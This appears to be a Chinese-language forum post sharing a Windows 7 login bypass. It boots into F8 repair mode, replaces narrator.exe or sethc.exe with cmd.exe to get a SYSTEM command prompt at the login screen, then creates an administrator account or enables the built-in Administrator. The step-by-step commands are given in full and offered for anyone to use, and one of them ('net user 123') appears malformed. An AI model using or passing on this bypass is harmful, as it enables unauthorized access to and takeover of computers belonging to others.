其實這個方法很多人都知道，不過最近嘗試了破解最新的win7 64發現依然有效，給不知道的朋友分享下。
其思路就是替換講述人narrator.exe(或者粘滯鍵sethc.exe)注意，各個系統可能不太一樣，注意擴展思維。
win7 下唯一的難點就是怎麼替換了，試了pe，權限不夠，也改不了，算了，估計盤有問題，那麼去win7 新出的 修復模式看看吧^_^
開機，F8，修復模式，用戶選擇administrator，密碼為空，進入後選命令提示符那項，後面就不用我說了吧?O(∩_∩)O哈哈~
不過唯一注意的一點是，這裡雖然是system權限，比安全模式中要高，但是默認所在盤符並非系統盤(雖然也有windows文件夾)!請自行切換到系統盤，
cd /d D:windowssystem32
copy narrator.exe narrator2.exe
del narrator.exe
copy cmd.exe narrator.exe
(同理可以替換sethc.exe)
然後重啟，登陸頁面調出講述人，就會有system權限的cmd，呵呵!
net user login007 /add
net user 123
net localgroup Administrators login007 /add
或者直接 net user administrator /active:y
隨你自由發揮啦~O(∩_∩)O~
注意：之所以不在修復模式下直接用net user administrator /active:y 的方式啟用，原因是裡面修改的並非硬盤上系統分區的密碼!
